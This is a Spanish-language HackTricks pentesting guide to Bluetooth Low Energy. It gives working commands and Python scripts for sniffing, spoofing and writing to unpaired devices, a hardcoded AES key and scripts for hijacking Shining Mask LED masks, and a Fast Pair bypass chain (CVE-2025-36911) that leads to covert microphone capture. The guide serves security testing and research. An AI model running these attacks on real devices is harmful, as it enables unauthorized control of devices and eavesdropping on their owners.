Pentesting BLE - Bluetooth Low Energy

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

Introducción

Disponible desde la especificación Bluetooth 4.0, BLE utiliza solo 40 canales, cubriendo el rango de 2400 a 2483.5 MHz. En contraste, el Bluetooth tradicional usa 79 canales en ese mismo rango.

Los dispositivos BLE se comunican enviando advertising packets (beacons); estos paquetes anuncian la existencia del dispositivo BLE a otros dispositivos cercanos. Estos beacons a veces también envían datos.

El dispositivo que escucha, también llamado dispositivo central, puede responder a un paquete de advertising con una SCAN request enviada específicamente al dispositivo anunciante. La response a esa scan usa la misma estructura que el advertising con información adicional que no pudo caber en la advertising request inicial, como el nombre completo del dispositivo.

El byte de preámbulo sincroniza la frecuencia, mientras que la dirección de acceso de cuatro bytes es un connection identifier, que se usa en escenarios donde múltiples dispositivos intentan establecer conexiones en los mismos canales. A continuación, la Unidad de Datos de Protocolo (PDU) contiene los advertising data. Hay varios tipos de PDU; los más usados son ADV_NONCONN_IND y ADV_IND. Los dispositivos usan el tipo de PDU ADV_NONCONN_IND si no aceptan conexiones, transmitiendo datos solo en el paquete de advertising. Los dispositivos usan ADV_IND si permiten conexiones y dejan de enviar advertising una vez que se ha establecido una connection.

GATT

El Perfil de Atributos Genéricos (GATT) define cómo el dispositivo debe formatear y transferir datos. Cuando analizas la superficie de ataque de un dispositivo BLE, a menudo te concentras en el GATT (o los GATTs), porque es como se dispara la funcionalidad del dispositivo y cómo se almacenan, agrupan y modifican los datos. El GATT lista las características, descriptors y servicios de un dispositivo en una tabla como valores de 16 o 32 bits. Una characteristic es un valor de data enviado entre el dispositivo central y el periférico. Estas characteristics pueden tener descriptors que proporcionan información adicional sobre ellas. Las characteristics suelen agruparse en services si están relacionadas con la ejecución de una acción particular.

Enumeración

hciconfig #Check config, check if UP or DOWN
# If DOWN try:
sudo modprobe -c bluetooth
sudo hciconfig hci0 down && sudo hciconfig hci0 up

# Spoof MAC
spooftooph -i hci0 -a 11:22:33:44:55:66

GATTool

GATTool permite establecer una conexión con otro dispositivo, listar las características de ese dispositivo y leer y escribir sus atributos.
GATTTool puede iniciar una consola interactiva con la opción -I:

Uso interactivo de GATTTool y ejemplos ```bash gatttool -i hci0 -I [ ][LE]> connect 24:62:AB:B1:A8:3E Attempting to connect to A4:CF:12:6C:B3:76 Connection successful [A4:CF:12:6C:B3:76][LE]> characteristics handle: 0x0002, char properties: 0x20, char value handle: 0x0003, uuid: 00002a05-0000-1000-8000-00805f9b34fb handle: 0x0015, char properties: 0x02, char value handle: 0x0016, uuid: 00002a00-0000-1000-8000-00805f9b34fb [...]

Write data

gatttool -i -b –char-write-req -n gatttool -b a4:cf:12:6c:b3:76 –char-write-req -a 0x002e -n $(echo -n “04dc54d9053b4307680a”|xxd -ps)

Read data

gatttool -i -b –char-read -a 0x16

Read connecting with an authenticated encrypted connection

gatttool –sec-level=high -b a4:cf:12:6c:b3:76 –char-read -a 0x002c

</details>

### Bettercap
```bash
# Start listening for beacons
sudo bettercap --eval "ble.recon on"
# Wait some time
>> ble.show # Show discovered devices
>> ble.enum <mac addr> # This will show the service, characteristics and properties supported

# Write data in a characteristic
>> ble.write <MAC ADDR> <UUID> <HEX DATA>
>> ble.write <mac address of device> ff06 68656c6c6f # Write "hello" in ff06

Sniffing y control activo de dispositivos BLE sin emparejar

Muchos periféricos BLE de bajo coste no aplican pairing/bonding. Sin bonding, el cifrado del Link Layer nunca se habilita, por lo que el tráfico ATT/GATT está en texto claro. Un sniffer off-path puede seguir la conexión, decodificar operaciones GATT para aprender los handles de características y sus valores, y cualquier host cercano puede entonces conectarse y reproducir esas writes para controlar el dispositivo.

Sniffing con Sniffle (CC26x2/CC1352)

Hardware: un Sonoff Zigbee 3.0 USB Dongle Plus (CC26x2/CC1352) re-flasheado con el firmware Sniffle de NCC Group.

Instale Sniffle y su extcap de Wireshark en Linux:

Instalar Sniffle extcap (Linux) ```bash if [ ! -d /opt/sniffle/Sniffle-1.10.0/python_cli ]; then echo "[+] - Sniffle not installed! Installing at 1.10.0..." sudo mkdir -p /opt/sniffle sudo chown -R $USER:$USER /opt/sniffle pushd /opt/sniffle wget https://github.com/nccgroup/Sniffle/archive/refs/tags/v1.10.0.tar.gz tar xvf v1.10.0.tar.gz # Install Wireshark extcap for user and root only mkdir -p $HOME/.local/lib/wireshark/extcap ln -s /opt/sniffle/Sniffle-1.10.0/python_cli/sniffle_extcap.py $HOME/.local/lib/wireshark/extcap sudo mkdir -p /root/.local/lib/wireshark/extcap sudo ln -s /opt/sniffle/Sniffle-1.10.0/python_cli/sniffle_extcap.py /root/.local/lib/wireshark/extcap popd else echo "[+] - Sniffle already installed at 1.10.0" fi ```

Flash Sonoff con Sniffle firmware (asegúrate de que tu dispositivo serial coincida, p. ej. /dev/ttyUSB0):

pushd /opt/sniffle/
wget https://github.com/nccgroup/Sniffle/releases/download/v1.10.0/sniffle_cc1352p1_cc2652p1_1M.hex
git clone https://github.com/sultanqasim/cc2538-bsl.git
cd cc2538-bsl
python3 -m venv .venv
source .venv/bin/activate
python3 -m pip install pyserial intelhex
python3 cc2538-bsl.py -p /dev/ttyUSB0 --bootloader-sonoff-usb -ewv ../sniffle_cc1352p1_cc2652p1_1M.hex
deactivate
popd

Captura en Wireshark mediante el extcap Sniffle y pivot rápidamente hacia escrituras que cambian el estado filtrando:

_ws.col.info contains "Sent Write Command"

Esto resalta ATT Write Commands del cliente; el handle y el value a menudo se asignan directamente a acciones del dispositivo (p. ej., write 0x01 a una buzzer/alert characteristic, 0x00 para detener).

Ejemplos rápidos de Sniffle CLI:

python3 scanner.py --output scan.pcap
# Only devices with very strong signal
python3 scanner.py --rssi -40
# Filter advertisements containing a string
python3 sniffer.py --string "banana" --output sniff.pcap

Sniffer alternativo: Nordic’s nRF Sniffer for BLE + Wireshark plugin también funciona. En dongles Nordic pequeños o baratos normalmente sobrescribes el USB bootloader para cargar el sniffer firmware, por lo que o mantienes un dongle sniffer dedicado o necesitas un J-Link/JTAG para restaurar el bootloader más tarde.

Control activo vía GATT

Una vez que hayas identificado un writable characteristic handle y su value a partir del sniffed traffic, conéctate como cualquier central y emite la misma write:

  • Con Nordic nRF Connect for Desktop (BLE app):

  • Selecciona el dongle nRF52/nRF52840, escanea y conéctate al target.

  • Explora la GATT database, localiza la target characteristic (a menudo tiene un nombre amigable, p. ej., Alert Level).

  • Realiza un Write con los sniffed bytes (p. ej., 01 para activar, 00 para detener).

  • Automatiza en Windows con un dongle Nordic usando Python + blatann:

Python blatann write example (Windows + Nordic dongle) ```python import time import blatann

CONFIG

COM_PORT = “COM29” # Replace with your COM port TARGET_MAC = “5B:B1:7F:47:A7:00” # Replace with your target MAC

target_address = blatann.peer.PeerAddress.from_string(TARGET_MAC + “,p”)

CONNECT

ble_device = blatann.BleDevice(COM_PORT) ble_device.configure() ble_device.open() print(f“[-] Connecting to {TARGET_MAC}…“) peer = ble_device.connect(target_address).wait() if not peer: print(”[!] Connection failed.“) ble_device.close() raise SystemExit(1)

print(“Connected. Discovering services…”) peer.discover_services().wait(5, exception_on_timeout=False)

Example: write 0x01/0x00 to a known handle

for service in peer.database.services: for ch in service.characteristics: if ch.handle == 0x000b: # Replace with your handle print(“[!] Beeping.”) ch.write(b“\x01“) time.sleep(2) print(“[+] And relax.”) ch.write(b“\x00“)

print(“[-] Disconnecting…”) peer.disconnect() peer.wait_for_disconnect() ble_device.close()

</details>

### Estudio de caso: toma de control de máscaras LED BLE (familia Shining Mask)

Máscaras LED BLE baratas, de marca blanca, controladas por la app “Shining Mask” aceptan control de escritura desde cualquier central cercana sin pairing/bonding. La app habla GATT con una característica de comando y una característica de datos; los comandos están cifrados con AES‑ECB usando una clave estática codificada en la app, mientras que los datos en bloque de imagen no están encriptados.

UUIDs clave en estos dispositivos:
- Característica de escritura de comando: d44bc439-abfd-45a2-b575-925416129600
- Característica de notificación: d44bc439-abfd-45a2-b575-925416129601
- Característica de datos de imagen: d44bc439-abfd-45a2-b575-92541612960a

Escrituras GATT no autenticadas
- No se requiere pairing/bonding. Cualquier host puede conectarse y escribir en el UUID de comando para cambiar el brillo, seleccionar imágenes, iniciar animaciones, etc.
- Operaciones comunes observadas: LIGHT (brillo), IMAG (seleccionar índice), DELE (eliminar índices), SPEED, ANIM, PLAY, CHEC (consultar cantidad), DATS (iniciar carga).

Estructura de comandos AES con clave estática
- Trama = longitud de 1 byte, ASCII op (p. ej., b"LIGHT"), args, rellenar a 16, AES‑ECB encrypt con la clave estática de la app.
- Clave estática conocida (hex): 32672f7974ad43451d9c6c894a0e8764

Script de Python para cifrar y enviar un comando (ejemplo: establecer brillo máximo):
```python
from Crypto.Cipher import AES
from binascii import unhexlify

KEY = unhexlify('32672f7974ad43451d9c6c894a0e8764')

def enc_cmd(op, args=b''):
body = bytes([len(op) + len(args)]) + op.encode() + args
body += b'\x00' * ((16 - (len(body) % 16)) % 16)
return AES.new(KEY, AES.MODE_ECB).encrypt(body)

packet = enc_cmd('LIGHT', b'\xff')
# Write 'packet' to d44bc439-abfd-45a2-b575-925416129600

Flujo de subida de imágenes

  • Después de un DATS handshake cifrado, raw chunks se escriben sin cifrar en la data characteristic …960a.
  • Formato de paquete: [len][seq][payload]. Empíricamente, ~100 bytes de payload por paquete funciona de forma fiable.
Pseudo-código mínimo de subida de imágenes ```python # Start upload (encrypted): two bytes size, two bytes index, one toggle byte img_index = b'\x01\x00' # index 1 img_size = (len(img_bytes)).to_bytes(2, 'big') start = enc_cmd('DATS', img_size + img_index + b'\x01') write_cmd_char(start) # expect DATSOK on notify char

Stream raw chunks (unencrypted) to …960a: [len][seq][payload]

seq = 0 CHUNK = 98 # data bytes per packet (≈100 total incl. len+seq) for off in range(0, len(img_bytes), CHUNK): chunk = img_bytes[off:off+CHUNK] pkt = bytes([len(chunk)+1, seq & 0xff]) + chunk write_data_char(pkt) seq += 1

Optionally signal completion if firmware expects it (e.g., DATCP)

</details>

### Fast Pair (0xFE2C) Key-Based Pairing signature bypass (WhisperPair/CVE-2025-36911)

- **Descubrimiento:** Escanea anuncios BLE en busca del **service UUID 0xFE2C** (Google Fast Pair). Los dispositivos en modo emparejamiento normalmente exponen un distintivo de emparejamiento; incluso fuera del modo emparejamiento el servicio Fast Pair puede responder en GATT.
- **Sonda no invasiva (verificación de aplicación de la firma):**
1. Conéctate por GATT al servicio Fast Pair y **lee el Model ID**.
2. **Escribe un valor Key-Based Pairing (KBP) sin firma**. Si el periférico acepta la escritura KBP no firmada, es susceptible al bypass de firma (WhisperPair/CVE-2025-36911). Un rechazo indica que está parcheado; los fallos pueden ser inconclusos si ya está emparejado.
- **BLE → BR/EDR pivot:** Envía una **KBP Request** y analiza la **encrypted response** para recuperar la **BR/EDR address** del objetivo. Usa una llamada de bonding clásica (p. ej., Android **`createBond(<BR/EDR address>)`**) para completar el emparejamiento no autorizado. Donde esté soportado, escribir una **Account Key** persiste la asociación.
- **Post-bond microphone abuse:** Después del bonding, abre **HFP** e inicia **SCO audio** para obtener un flujo de micrófono en vivo para escucha/grabación (p. ej., guardando M4A). Esta cadena convierte la aceptación de un KBP no firmado en captura de audio remota sin consentimiento del usuario.
- **Detección / búsqueda:** Busca tráfico GATT de Fast Pair seguido inmediatamente por intentos clásicos de **bonding al BR/EDR address devuelto en KBP**, y por escrituras KBP sin firma. Imponer la validación de firma en KBP y solicitar confirmación de emparejamiento por parte del usuario rompe la cadena.

## Notas operativas

- Prefiere Sonoff+Sniffle en Linux para un robusto channel hopping y seguimiento de conexiones. Mantén un sniffer Nordic de repuesto como backup.
- Sin pairing/bonding, cualquier atacante cercano puede observar las escrituras y reproducirlas/crear las suyas propias hacia características escribibles no autenticadas.

## Referencias

- [WPair — CVE-2025-36911 (WhisperPair) vulnerability scanner & research tool](https://github.com/zalexdev/wpair-app)
- [Start hacking Bluetooth Low Energy today! (part 2) – Pentest Partners](https://www.pentestpartners.com/security-blog/start-hacking-bluetooth-low-energy-today-part-2/)
- [Sniffle – A sniffer for Bluetooth 5 and 4.x LE](https://github.com/nccgroup/Sniffle)
- [Firmware installation for Sonoff USB Dongle (Sniffle README)](https://github.com/nccgroup/Sniffle?tab=readme-ov-file#firmware-installation-sonoff-usb-dongle)
- [Sonoff Zigbee 3.0 USB Dongle Plus (ZBDongle-P)](https://sonoff.tech/en-uk/products/sonoff-zigbee-3-0-usb-dongle-plus-zbdongle-p)
- [Nordic nRF Sniffer for Bluetooth LE](https://www.nordicsemi.com/Products/Development-tools/nRF-Sniffer-for-Bluetooth-LE)
- [nRF Connect for Desktop](https://www.nordicsemi.com/Products/Development-tools/nRF-Connect-for-desktop)
- [blatann – Python BLE library for Nordic devices](https://blatann.readthedocs.io/en/latest/)
- [Invasion of the Face Changers: Halloween Hijinks with Bluetooth LED Masks (Bishop Fox)](https://bishopfox.com/blog/invasion-of-the-face-changers-halloween-hijinks-with-bluetooth-led-masks)
- [Shining Mask BLE protocol notes (BrickCraftDream)](https://github.com/BrickCraftDream/Shining-Mask-stuff/blob/main/ble-protocol.md)
- [Android Bluetooth HCI snoop logging](https://source.android.com/docs/core/connect/bluetooth/verifying_debugging)
- [Adafruit Feather nRF52840 Express](https://www.adafruit.com/product/4062)

> [!TIP]
> Aprende y practica Hacking en AWS:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Aprende y practica Hacking en GCP: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
> Aprende y practica Hacking en Azure: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://training.hacktricks.xyz/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>Apoya a HackTricks</summary>
>
> - Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
> - **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos en** **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
> - **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
>
> </details>